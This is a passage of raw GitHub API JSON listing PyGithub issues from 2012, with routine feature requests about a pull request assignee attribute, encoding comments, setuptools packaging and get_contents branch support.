":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":""},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/events","html_url":"https://github.com/jacquev6/PyGithub/issues/111","id":8075253,"number":111,"title":"Add 'assignee' attribute to PullRequest","user":{"login":"mstead","id":218800,"avatar_url":"https://secure.gravatar.com/avatar/cff2de4d58af775ba0a07a5332b57889?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cff2de4d58af775ba0a07a5332b57889","url":"https://api.github.com/users/mstead","html_url":"https://github.com/mstead","followers_url":"https://api.github.com/users/mstead/followers","following_url":"https://api.github.com/users/mstead/following{/other_user}","gists_url":"https://api.github.com/users/mstead/gists{/gist_id}","starred_url":"https://api.github.com/users/mstead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mstead/subscriptions","organizations_url":"https://api.github.com/users/mstead/orgs","repos_url":"https://api.github.com/users/mstead/repos","events_url":"https://api.github.com/users/mstead/events{/privacy}","received_events_url":"https://api.github.com/users/mstead/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2012-11-03T00:33:18Z","updated_at":"2012-11-03T08:28:14Z","closed_at":"2012-11-03T08:25:59Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/111","diff_url":"https://github.com/jacquev6/PyGithub/pull/111.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/111.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"It seems as though this may have been added to\r\nthe github API and was not being included in the\r\nPullRequest object.\r\n\r\nI stumbled upon this when attempting to get the current\r\nassignee of a pull request while playing with the API,\r\nand noticed I could not get it via PyGithub. I need this\r\nfor a project I'm working on.\r\n\r\nThis verifies that the attribute's existence in github's API:\r\n```curl -i \"https://api.github.com/repos/jacquev6/PyGithub/pulls/31\" | grep assignee```\r\nOutput:\r\n```\"assignee\": null,```\r\n\r\n\r\nI was also going to update the tests to include the attribute,\r\nbut I wasn't able to set the assignee on the test data.\r\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/events","html_url":"https://github.com/jacquev6/PyGithub/issues/110","id":8033963,"number":110,"title":"Add encoding comment to source files","user":{"login":"Zearin","id":630124,"avatar_url":"https://secure.gravatar.com/avatar/cb9730ee11d50fa2db955d687c653971?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cb9730ee11d50fa2db955d687c653971","url":"https://api.github.com/users/Zearin","html_url":"https://github.com/Zearin","followers_url":"https://api.github.com/users/Zearin/followers","following_url":"https://api.github.com/users/Zearin/following{/other_user}","gists_url":"https://api.github.com/users/Zearin/gists{/gist_id}","starred_url":"https://api.github.com/users/Zearin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Zearin/subscriptions","organizations_url":"https://api.github.com/users/Zearin/orgs","repos_url":"https://api.github.com/users/Zearin/repos","events_url":"https://api.github.com/users/Zearin/events{/privacy}","received_events_url":"https://api.github.com/users/Zearin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2012-11-01T15:45:03Z","updated_at":"2012-11-03T08:28:32Z","closed_at":"2012-11-03T08:07:37Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/110","diff_url":"https://github.com/jacquev6/PyGithub/pull/110.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/110.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"This is a minor thing. It’s a convention, not a rule (obviously)—but it’s also a best practice.\r\n\r\nMany text editors look for this kind of comment as the first line—or second line, if there is a shebang (the `#!/usr/bin/env python`, or whatever else)—and make use of this to determine the file’s encoding."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/events","html_url":"https://github.com/jacquev6/PyGithub/issues/118","id":9089893,"number":118,"title":"Modify setup.py to allow .egg distribution of PyGithub","user":{"login":"gregwjacobs","id":1749292,"avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","url":"https://api.github.com/users/gregwjacobs","html_url":"https://github.com/gregwjacobs","followers_url":"https://api.github.com/users/gregwjacobs/followers","following_url":"https://api.github.com/users/gregwjacobs/following{/other_user}","gists_url":"https://api.github.com/users/gregwjacobs/gists{/gist_id}","starred_url":"https://api.github.com/users/gregwjacobs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregwjacobs/subscriptions","organizations_url":"https://api.github.com/users/gregwjacobs/orgs","repos_url":"https://api.github.com/users/gregwjacobs/repos","events_url":"https://api.github.com/users/gregwjacobs/events{/privacy}","received_events_url":"https://api.github.com/users/gregwjacobs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":1,"created_at":"2012-12-07T14:42:13Z","updated_at":"2012-12-21T19:45:37Z","closed_at":"2012-12-21T19:45:37Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"In setup.py change:\n\n`from distutils.core import setup, Command`\n\nto:\n\n`from setuptools import setup, Command, find_packages`\n\nThus users can also distribute or use PyGithub in as an .egg via this command:\n\n`python setup.py bdist_egg`\n\nAFAIK this will not impact the remainder of the existing use of setup.py?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/events","html_url":"https://github.com/jacquev6/PyGithub/issues/123","id":9489725,"number":123,"title":"Repository.get_contents does not accept ref=branch","user":{"login":"fixxxeruk","id":1074943,"avatar_url":"https://secure.gravatar.com/avatar/de3cd5a76ce1ef2cdcf7060068d693e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de3cd5a76ce1ef2cdcf7060068d693e0","url":"https://api.github.com/users/fixxxeruk","html_url":"https://github.com/fixxxeruk","followers_url":"https://api.github.com/users/fixxxeruk/followers","following_url":"https://api.github.com/users/fixxxeruk/following{/other_user}","gists_url":"https://api.github.com/users/fixxxeruk/gists{/gist_id}","starred_url":"https://api.github.com/users/fixxxeruk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fixxxeruk/subscriptions","organizations_url":"https://api.github.com/users/fixxxeruk/orgs","repos_url":"https://api.github.com/users/fixxxeruk/repos","events_url":"https://api.github.com/users/fixxxeruk/events{/privacy}","received_events_url":"https://api.github.com/users/fixxxeruk/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 